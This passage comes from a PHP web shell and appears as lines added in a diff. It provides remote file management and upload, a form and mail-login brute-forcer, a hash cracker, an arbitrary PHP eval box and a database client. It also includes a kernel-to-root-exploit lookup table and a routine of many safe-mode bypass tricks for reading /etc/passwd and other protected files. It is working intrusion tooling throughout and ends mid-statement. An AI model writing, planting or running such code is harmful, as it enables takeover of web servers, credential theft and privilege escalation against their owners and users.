value='".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."'>Move</option><option value='".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."'>Remove</option></select></td>"; +$mdate=date('Y/m/d H:i:s',filemtime($fn)); +$adate=date('Y/m/d H:i:s',fileatime($fn)); +if($owner)$own="<a title='Shell:".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +$size=showsizE(filesize($fn)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($fn))echo $tdw;elseif(!is_readable($fn))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."'>"; +if(strlen($fn)>45)echo substr($fn,0,42).'...';else echo $fn;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";echo "<a href='#' onClick=\"javascript:chmoD('$fn')\" title='Change mode'>";if(is_readable($fn))echo "R";if(is_writeable($fn))echo "W";if(is_executable($fn))echo "X";if(is_uploaded_file($fn))echo "U";echo "</a></td>"; +echo "$cl1$size</td>"; +echo $cl2.$fileaction; +echo '</tr>'; +} +foreach($link as $ln){ +$own='Unknow'; +$i++; +$owner=posix_getpwuid(fileowner($ln)); +$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."'>Open</option><option value='".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."'>Edit</option><option value='".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."'>Download</option><option value='".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."'>Hex view</option><option value='".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."'>Image</option><option value='".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."'>Include</option><option value='".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."'>Checksum</option><option value='".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."'>Copy</option><option value='".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."'>Move</option><option value='".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."'>Rename</option><option value='".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."'>Remove</option></select></td>"; +$mdate=date('Y/m/d H:i:s',filemtime($ln)); +$adate=date('Y/m/d H:i:s',fileatime($ln)); +if($owner)$own="<a title='Shell: ".$owner['shell']."' href='".hlinK('seC=fm&workingdiR='.$owner['dir'])."'>".$owner['name'].'</a>'; +echo '<tr>'; +$size=showsizE(filesize($ln)); +if(($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if(is_writeable($ln))echo $tdw;elseif(!is_readable($ln))echo $tdnr;else echo $cl2; +echo "<a href='".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."'>"; +if(strlen($ln)>45)echo substr($ln,0,42).'...';else echo $ln;echo '</a>'; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>${cl1}";echo "<a href='#' onClick=\"javascript:chmoD('$ln')\" title='Change mode'>L";if(is_readable($ln))echo "R";if (is_writeable($ln))echo "W";if(is_executable($ln))echo "X";echo "</a></td>"; +echo "$cl1$size</td>"; +echo $cl2.$linkaction; +echo '</tr>'; +} +} +$dc=count($dir)-2; +if($dc==-2)$dc=0; +$fc=count($file); +$lc=count($link); +$total=$dc+$fc+$lc; +$min=min(substr(ini_get('upload_max_filesize'),0,strpos(ini_get('post_max_size'),'M')),substr(ini_get('post_max_size'),0,strpos(ini_get('post_max_size'),'M'))).' MB'; +echo "</table></div>$table<tr><td><form method=POST>Find:<input type=text value=\$pass name=search><input type=checkbox name=re value=1 style='border-width:1px;background-color:#333333;'>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value='fm' name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width='100%'><tr><td width='50%'><br><table bgcolor=#333333 border=0 width='65%'><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc$et<table bgcolor=#333333 border=0 width='65%'><td width='100%' bgcolor=";if (is_writeable($cwd)) echo '#006E00';elseif (!is_readable($cwd)) echo '#800000';else '#333333'; echo '>Current directory status: ';if (is_readable($cwd)) echo 'R';if (is_writeable($cwd)) echo 'W' ;echo "$et<table border=0 style='border-collapse: collapse' width='65%'><tr><td width='100%' bgcolor='#333333'>New:</td></tr><tr>$td1n<form method='POST'><input type=text size=47 name=newf></td></tr><tr>$td2m$hcwd<input class=buttons type=submit name=newfile value='File'><input class=buttons type=submit name=newdir value='Folder'></form>$et</td><td width='50%'><br>${t}Upload:</td></tr><tr>$td1n<form method='POST' enctype='multipart/form-data'><input type=file size=45 name=uploadfile></td></tr><tr>$td2m$hcwd<input class=buttons type=submit value=Upload></td></tr>$td1n Note: Max allowed file size to upload on this server is $min</form>$et$et"; +} +} +function imapchecK($host,$username,$password,$timeout){ +$sock=fsockopen($host,143,$n,$s,$timeout); +$b=uniqid('NJ'); +$l=strlen($b); +if(!$sock)return -1; +fread($sock,1024); +fputs($sock,"$b LOGIN $username $password\r\n"); +$res=fgets($sock,$l+4); +fclose($sock); +if($res=="$b OK")return 1;else return 0; +} +function ftpchecK($host,$username,$password,$timeout){ +$ftp=ftp_connect($host,21,$timeout); +if(!$ftp)return -1; +$con=ftp_login($ftp,$username,$password); +if($con)return 1;else return 0; +} +function pop3checK($server,$user,$pass,$timeout){ +$sock=fsockopen($server,110,$en,$es,$timeout); +if(!$sock)return -1; +fread($sock,1024); +fwrite($sock,"user $user\n"); +$r=fgets($sock); +if($r{0}=='-')return 0; +fwrite($sock,"pass $pass\n"); +$r=fgets($sock); +fclose($sock); +if($r{0}=='+')return 1; +return 0; +} +function formcrackeR(){ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:''; +if(!file_exists($dic))die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo '<font color=blue>Cracking started...<br>'; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if(!$res){echo "<font color=blue>U: $user P: $pass</font><br>";if($log)file_add_contentS($file,"U: $user P: $pass\r\n");if(!$type)break;} +} +fclose($dictionary); +echo 'Done!</font><br>'; +} +else echo "<center><table border=0 style='border-collapse: collapse' width='434'><tr><td width='174' bgcolor='#333333'>HTTP Form cracker:</td><td bgcolor='#333333' width='253'></td></tr><form method='POST' name=form><tr><td width='174' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666' width='253'><input type=text name=dictionary size=35></td></tr><tr><td width='174' bgcolor='#808080'>Dictionary type:</td><td bgcolor='#808080'><input type=radio name=combo checked value=0 onClick='document.form.user.disabled = false;' style='border-width:1px;background-color:#808080;'>Simple (P)<input type=radio value=1 name=combo onClick='document.form.user.disabled = true;' style='border-width:1px;background-color:#808080;'>Combo (U:P)</td></tr><tr><td width='174' bgcolor='#666666'>Username:</td><td bgcolor='#666666'><input type=text size=35 value=root name=user>$hcwd</td></tr><tr><td width='174' bgcolor='#808080'>Action Page:</td><td bgcolor='#808080' width='253'><input type=text name=target value='http://".getenv('HTTP_HOST')."/login.php' size=35></td></tr><tr><td width='174' bgcolor='#666666'>Method:</td><td bgcolor='#666666' width='253'><select size='1' name='method'><option selected value='POST'>POST</option><option value='GET'>GET</option></select></td></tr><tr><td width='174' bgcolor='#808080'>Username field name:</td><td bgcolor='#808080' width='253'><input type=text name=userf value=user size=35></td></tr><tr><td width='174' bgcolor='#666666'>Password field name:</td><td bgcolor='#666666' width='253'><input type=text name=passf value=passwd size=35></td></tr><tr><td width='174' bgcolor='#808080'>Submit name:</td><td bgcolor='#808080' width='253'><input type=text value=login name=submitf size=35></td></tr><tr><td width='174' bgcolor='#666666'>Submit value:</td><td bgcolor='#666666' width='253'><input type=text value='Login' name=submitv size=35></td></tr><tr><td width='174' bgcolor='#808080'>Fail string:</td><td bgcolor='#808080' width='253'><input type=text name=fail value='Try again' size=35></td></tr><tr><td width='174' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit name=start value=Start></form>$et</center>"; +} +function hashcrackeR(){ +global $errorbox,$t,$et,$hcwd; +if(!empty($_REQUEST['hash']) && !empty($_REQUEST['dictionary']) && !empty($_REQUEST['type'])){ +if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if($dictionary){ +$hash=strtoupper($_REQUEST['hash']); +echo '<font color=blue>Cracking '.htmlspecialchars($hash).'...<br>'; +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if($hash==strtoupper(($type($word)))){echo "The answer is $word<br>";if($log)file_add_contentS($file,"$x\r\n");break;} +} +echo 'Done!</font>'; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "<center>${t}Hash cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Hash:</td><td bgcolor='#808080'><input type=text name=hash size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Type:</td><td bgcolor='#666666'><select name=type><option selected value=MD5>MD5</option><option value=SHA1>SHA1</option></select></td></tr><tr><td width='20%' bgcolor='#808080'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#808080;' checked>Log</td><td bgcolor='#808080'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> $hcwd <input class=buttons type=submit value=Start></form>$et</center>"; +} +function pr0xy(){ +global $errorbox,$et,$footer,$hcwd; +echo "<table border=0 cellpadding=0 cellspacing=0 style='border-collapse: collapse' bgcolor='#333333' width='100%'><form method='POST'><tr><td width='20%'><b>Navigator: </b><input type=text name=urL size=140 value='";if(!!empty($_REQUEST['urL'])) echo 'http://www.edpsciences.org/htbin/ipaddress'; else echo htmlspecialchars($_REQUEST['urL']);echo "'>$hcwd<input type=submit class=buttons value=Go></form>$et"; +if(!empty($_REQUEST['urL'])){ +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +$dir=dirname($file); +$con=getiT($_REQUEST['urL']); +$s=array("href=mailto"=>"HrEf=mailto","HREF=mailto"=>"HrEf=mailto","href='mailto"=>"HrEf=\"mailto","HREF=\"mailto"=>"HrEf=\"mailto","href=\'mailto"=>"HrEf=\"mailto","HREF=\'mailto"=>"HrEf=\"mailto","href=\"http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"HREF=\'http"=>"HrEf=\"".hlinK("seC=px&urL=http"),"href=http"=>"HrEf=".hlinK("seC=px&urL=http"),"HREF=http"=>"HrEf=".hlinK("seC=px&urL=http"),"href=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"HREF=\""=>"HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),"href=\""=>"HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),'HREF="'=>'HrEf="'.hlinK("seC=px&urL=http://$host/$dir/"),"href="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),"HREF="=>"HrEf=".hlinK("seC=px&urL=http://$host/$dir/")); +$con=replace_stR($s,$con); +echo $con; +} +} +function sqlclienT(){ +global $t,$errorbox,$et,$hcwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && !empty($_REQUEST['querY'])){ +$server=$_REQUEST['serveR'];$type=$_REQUEST['typE'];$pass=$_REQUEST['pasS'];$user=$_REQUEST['useR'];$query=$_REQUEST['querY']; +$db=(empty($_REQUEST['dB']))?'':$_REQUEST['dB']; +$res=querY($type,$server,$user,$pass,$db,$query); +if($res){ +$res=str_replace('|-|-|-|-|-|','</td><td>',$res); +$res=str_replace('|+|+|+|+|+|','</td></tr><tr><td>',$res); +$r=explode('[+][+][+]',$res); +$r[1]=str_replace('[-][-][-]',"</td><td bgcolor='333333'>",$r[1]); +echo "<table border=0 bgcolor='666666' width='100%'></tr><tr><td bgcolor='333333'>".$r[1].'</tr><tr><td>'.$r[0]."$et<br>"; +} +else{ +echo "$errorbox Failed!$et<br>"; +} +} +if(empty($_REQUEST['typE']))$_REQUEST['typE']=''; +echo "<center>${t}SQL cilent:</td><form name=client method='POST'><td bgcolor='#333333'><select name=typE><option valut=MySQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MySQL')echo 'selected';echo ">MySQL</option><option valut=MSSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='MSSQL')echo 'selected';echo ">MSSQL</option><option valut=Oracle onClick='document.client.serveR.disabled = true;' ";if ($_REQUEST['typE']=='Oracle')echo 'selected';echo ">Oracle</option><option valut=PostgreSQL onClick='document.client.serveR.disabled = false;' ";if ($_REQUEST['typE']=='PostgreSQL')echo 'selected';echo ">PostgreSQL</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']);else echo 'root'; echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text value='";if (isset($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);else echo '123456'; echo "' name=pasS size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text value='";if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']); echo "' name=dB size=35></td><tr><td width='20%' bgcolor='#666666'>Query:</td><td bgcolor='#666666'><textarea name=querY rows=5 cols=27>";if (!empty($_REQUEST['querY'])) echo htmlspecialchars(($_REQUEST['querY']));else echo 'SHOW DATABASES'; echo "</textarea></td></tr></tr><tr><td width='20%' bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Submit Query'></form>$et</center>"; +} +function querY($type,$host,$user,$pass,$db='',$query){ +$res=''; +switch($type){ +case 'MySQL': +if(!function_exists('mysql_connect'))return 0; +$link=mysql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mysql_select_db($db,$link); +$result=mysql_query($query,$link); +while($data=mysql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mysql_num_fields($result);$i++) +$res.=mysql_field_name($result,$i).'[-][-][-]'; +mysql_close($link); +return $res; +} +break; +case 'MSSQL': +if(!function_exists('mssql_connect'))return 0; +$link=mssql_connect($host,$user,$pass); +if($link){ +if(!empty($db))mssql_select_db($db,$link); +$result=mssql_query($query,$link); +while($data=mssql_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<mssql_num_fields($result);$i++) +$res.=mssql_field_name($result,$i).'[-][-][-]'; +mssql_close($link); +return $res; +} +break; +case 'Oracle': +if(!function_exists('ocilogon'))return 0; +$link=ocilogon($user,$pass,$db); +if($link){ +$stm=ociparse($link,$query); +ociexecute($stm,OCI_DEFAULT); +while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<oci_num_fields($stm);$i++) +$res.=oci_field_name($stm,$i).'[-][-][-]'; +return $res; +} +break; +case 'PostgreSQL': +if(!function_exists('pg_connect'))return 0; +$link=pg_connect("host=$host dbname=$db user=$user password=$pass"); +if($link){ +$result=pg_query($link,$query); +while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+|'; +$res.='[+][+][+]'; +for($i=0;$i<pg_num_fields($result);$i++) +$res.=pg_field_name($result,$i).'[-][-][-]'; +pg_close($link); +return $res; +} +break; +} +return 0; +} +function phpevaL(){ +global $t,$hcwd,$et; +echo '<center>'; +if(!empty($_REQUEST['code'])){ +$s=array('<?php'=>'','<?'=>'','?>'=>''); +echo "<textarea rows='10' cols='64'>";echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code'])));echo '</textarea><br><br>'; +} +echo "${t}Evaler:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Codes:</td><td bgcolor='#666666'><textarea rows='10' name='code' cols='64'>";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Execute></form>$et</center>"; +} +function rootxpL(){ +$v=php_uname(); +$db=array('2.6.17'=>'prctl3, raptor_prctl, py2','2.6.16'=>'raptor_prctl, exp.sh, raptor, raptor2, h00lyshit','2.6.15'=>'py2, exp.sh, raptor, raptor2, h00lyshit','2.6.14'=>'raptor, raptor2, h00lyshit','2.6.13'=>'kdump, local26, py2, raptor_prctl, exp.sh, prctl3, h00lyshit','2.6.12'=>'h00lyshit','2.6.11'=>'krad3, krad, h00lyshit','2.6.10'=>'h00lyshit, stackgrow2, uselib24, exp.sh, krad, krad2','2.6.9'=>'exp.sh, krad3, py2, prctl3, h00lyshit','2.6.8'=>'h00lyshit, krad, krad2','2.6.7'=>'h00lyshit, krad, krad2','2.6.6'=>'h00lyshit, krad, krad2','2.6.2'=>'h00lyshit, krad, mremap_pte','2.6.'=>'prctl, kmdx, newsmp, pwned, ptrace_kmod, ong_bak','2.4.29'=>'elflbl, expand_stack, stackgrow2, uselib24, smpracer','2.4.27'=>'elfdump, uselib24','2.4.25'=>'uselib24','2.4.24'=>'mremap_pte, loko, uselib24','2.4.23'=>'mremap_pte, loko, uselib24','2.4.22'=>'loginx, brk, km2, loko, ptrace, uselib24, brk2, ptrace-kmod','2.4.21'=>'w00t, brk, uselib24, loginx, brk2, ptrace-kmod','2.4.20'=>'mremap_pte, w00t, brk, ave, uselib24, loginx, ptrace-kmod, ptrace, kmod','2.4.19'=>'newlocal, w00t, ave, uselib24, loginx, kmod','2.4.18'=>'km2, w00t, uselib24, loginx, kmod','2.4.17'=>'newlocal, w00t, uselib24, loginx, kmod','2.4.16'=>'w00t, uselib24, loginx','2.4.10'=>'w00t, brk, uselib24, loginx','2.4.9'=>'ptrace24, uselib24','2.4.'=>'kmdx, remap, pwned, ptrace_kmod, ong_bak','2.2.25'=>'mremap_pte','2.2.24'=>'ptrace','2.2.'=>'rip'); +foreach($db as $k=>$x)if(strstr($v,$k))return $x; +return 0; +} +function toolS(){ +global $t,$hcwd,$et,$cwd; +if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){ +$ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5); +fputs($ser,$_REQUEST['domaiN']."\r\n"); +echo '<pre>'; +while(!feof($ser))echo fgets($ser,1024); +echo '</pre>'; +fclose($ser); +} +elseif(!empty($_REQUEST['urL'])){ +$h=''; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';$port=(empty($u['port']))?80:$u['port']; +$ser=fsockopen($host,$port,$en,$es,5); +if($ser){ +fputs($ser,"GET $file\r\nHost: $host\r\n\r\n"); +echo '<pre>'; +while($h!="\r\n"){$h=fgets($ser,1024);echo $h;} +echo '</pre>'; +fclose($ser); +} +} +elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){ +$htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd'; +$htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess'; +file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),CRYPT_STD_DES)); +file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n"); +echo '<font color=blue>Done</font>'; +} +$s="</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>"; +echo "<center>${t}WhoIs:${s}Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'whois.geektools.com'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>domain:</td><td bgcolor='#808080'><input type=text name=domaiN value='";if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']); else echo 'google.com'; echo "' size=35></td><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value='Do'></form>$et<br>${t}.ht* generator:${s}Username:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);else echo 'r00t'; echo "' name=uN size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Password:</td><td bgcolor='#808080'><input type=text name=pW value='";if (!empty($_REQUEST['pW'])) echo htmlspecialchars($_REQUEST['pW']); else echo uniqid('@'); echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Directory:</td><td bgcolor='#666666'><input type=text name=ouT value='";if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']); else echo $cwd; echo "' size=35></td><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab header:${s}URL:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['urL']))echo htmlspecialchars($_REQUEST['urL']);else echo 'http://netjackal.by.ru/index.htm'; echo "' name=urL size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Get'></form>$et<br></center>"; +} +function hexvieW(){ +if(!empty($_REQUEST['filE'])){ +$f=$_REQUEST['filE']; +echo "<table border=0 style='border-collapse: collapse' width='100%'><td width='10%' bgcolor='#282828'>Offset</td><td width='25%' bgcolor='#282828'>Hex</td><td width='25%' bgcolor='#282828'></td><td width='40%' bgcolor='#282828'>ASCII</td></tr>"; +$file=fopen($f,'r'); +$i=-1; +while(!feof($file)){ +$ln=''; +$i++; +echo "<tr><td width='10%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>";echo str_repeat('0',(8-strlen($i*16))).$i*16;echo '</td>'; +echo "<td width='25%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +for($j=0;$j<=7;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo "</td><td width='25%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +for($j=7;$j<=14;$j++){ +if(!feof($file)){ +$tmp=strtoupper(dechex(ord(fgetc($file)))); +if(strlen($tmp)==1)$tmp='0'.$tmp; +echo $tmp.' '; +$ln.=$tmp; +} +} +echo "</td><td width='40%' bgcolor='#"; +if($i % 2==0)echo '666666';else echo '808080'; +echo "'>"; +$n=0;$asc='';$co=0; +for($k=0;$k<=16;$k++){ +$co=hexdec(substr($ln,$n,2)); +if(($co<=31)||(($co>=127)&&($co<=160)))$co=46; +$asc.=chr($co); +$n+=2; +} +echo htmlspecialchars($asc); +echo '</td></tr>'; +} +} +fclose($file); +echo '</table>'; +} +function safemodE(){ +global $windows,$t,$hcwd,$et; +$file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file']; +$pr="\r\n</font><font color=green>Method "; +$po=")</font><font color=blue>\r\n"; +$i=1; +if(!empty($_REQUEST['read'])){ +echo "<pre>$pr$i:(ini_restore$po"; +ini_restore('safe_mode');ini_restore('open_basedir'); +readfile($file); +$i++; +echo "$pr$i:(include$po"; +include($file); +$i++; +echo "$pr$i:(copy$po"; +$tmp=tempnam('','cx'); +copy('compress.zlib://'.$file,$tmp); +$fh=fopen($tmp,'r'); +$data=fread($fh,filesize($tmp)); +fclose($fh); +echo $data; +$i++; +if(function_exists('mb_send_mail')){ +echo "$pr$i:(mb_send_mail$po"; +if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail'); +mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail'); +readfile('/tmp/mb_send_mail'); +$i++; +} +if(function_exists('curl_init')){ +echo "$pr$i:(curl_init [A]$po"; +$fh=curl_init('file://'.$file.''); +$tmp=curl_exec($fh); +echo $tmp; +$i++; +echo "$pr$i:(curl_init [B]$po"; +$i++; +if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__); +else $ch=curl_init('file://'.$file."\x00".__FILE__); +var_dump(curl_exec($ch)); +} +if(is_writable('.')){ +echo "$pr$i:(php.ini$po"; +file_put_contents('php.ini','safe_mode = Off'); +readfile($file); +unlink('php.ini'); +$i++; +} +if(is_object($ws=new COM('WScript.Shell'))){ +echo "$pr$i:(COM$po"; +echo $exec=comshelL("type \"$file\"",$ws); +$i++; +} +if(checkfunctioN('win_shell_execute')){ +echo "$pr$i:(win32std$po"; +echo winshelL("type \"$file\""); +$i++; +} +if(checkfunctioN('win32_create_service')){ +echo "$pr$i:(win32service$po"; +echo srvshelL("type \"$file\""); +$i++; +} +if(function_exists('imap_open')){ +echo "$pr$i:(imap [A]$po"; +$str=imap_open('/etc/passwd','',''); +$list=imap_list($str,$file,'*'); +for($i=0;$i<count($list);$i++)echo $list[$i]."\n"; +imap_close($str); +$i++; +echo "$pr$i:(imap [B]$po"; +$str=imap_open($file,'',''); +$tmp=imap_body($str,1); +echo $tmp; +imap_close($str); +$i++; +} +if($file=='/etc/passwd'){ +echo "$pr$i:(posix$po"; +for($uid=0;$uid<99999;$uid++){ +$h=posix_getpwuid($uid); +if(!empty($h))foreach($h as $v)echo "$v:"; +echo "\r\n"; +} +} +echo "\n</pre></font>"; +} +elseif(!empty($_REQUEST['show'])){ +echo "<pre>$pr$i:(glob$po"; +$con=glob("$file*"); +foreach ($con as $v){ + echo "$v\n"; +} +$i++; +if(function_exists('imap_open')){ +echo "$pr$i:(imap$po"; +$str=imap_open('/etc/passwd','',''); +$s=explode("|",$file); +if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*'); +for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n"; +imap_close($str); +$i++; +} +if(is_object($ws=new COM('WScript.Shell'))){ +echo "$pr$i:(COM$po"; +$exec=comshelL("dir \"$file\"",$ws); +$exec=str_replace("\t",'',$exec); +echo $exec; +$i++; +} +if(checkfunctioN('win_shell_execute')){ +echo "$pr$i:(win32std$po"; +echo winshelL("dir \"$file\""); +$i++; +} +if(checkfunctioN('win32_create_service')){ +echo "$pr$i:(win32service$po"; +echo srvshelL("dir \"$file\""); +$i++; +} +echo "\n</pre></font>"; +} +elseif(!empty($_REQUEST['sql'])){ +$ta=uniqid('N'); +$s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta"); +$l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']); +mysql_select_db($_REQUEST['db'],$l); +echo '<pre><font color=blue>'; +foreach($s as $v){ +$q = mysql_query($v,$l); +while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]); +} +echo '</pre></font>'; +} +elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && 